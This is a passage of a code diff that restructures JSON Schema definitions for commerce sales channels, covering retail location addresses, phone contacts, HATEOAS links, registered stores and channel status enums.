(CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schema/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "title": "Retail Location Contact", + "type": "object" + } + }, + "$id": "https://godaddy.com/schemas/commerce/retail-channel-location.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Retail Location", + "properties": { + "address": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "alias": { + "description": "Alias for the location", + "maxLength": 128, + "type": "string" + }, + "contacts": { + "description": "Contact details of the location", + "items": { + "properties": { + "phone": { + "$ref": "../common-types/phone.json", + "description": "Phone number details" + }, + "type": { + "$ref": "../common-types/phone-type.json", + "description": "Type of the contact phone" + } + }, + "title": "Retail Location Contact", + "type": "object" + }, + "type": "array" + } + }, + "title": "Retail Location", + "type": "object" + } + }, + "title": "Retail Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/online-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } ], - "default": "ACTIVE" + "description": "Resource representing the Online Channel", + "title": "Online Channel", + "type": "object" }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", + { + "$id": "https://godaddy.com/schemas/commerce/mobile-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } }, - "submissionSchema": { - "description": "The schema that describes the request data." - } + "required": [ + "storeId" + ], + "title": "RegisteredStore", + "type": "object" }, - "required": [ - "rel", - "href" - ] + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing the Mobile Channel", + "title": "Mobile Channel", + "type": "object" }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", + { + "$id": "https://godaddy.com/schemas/commerce/marketplace-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": 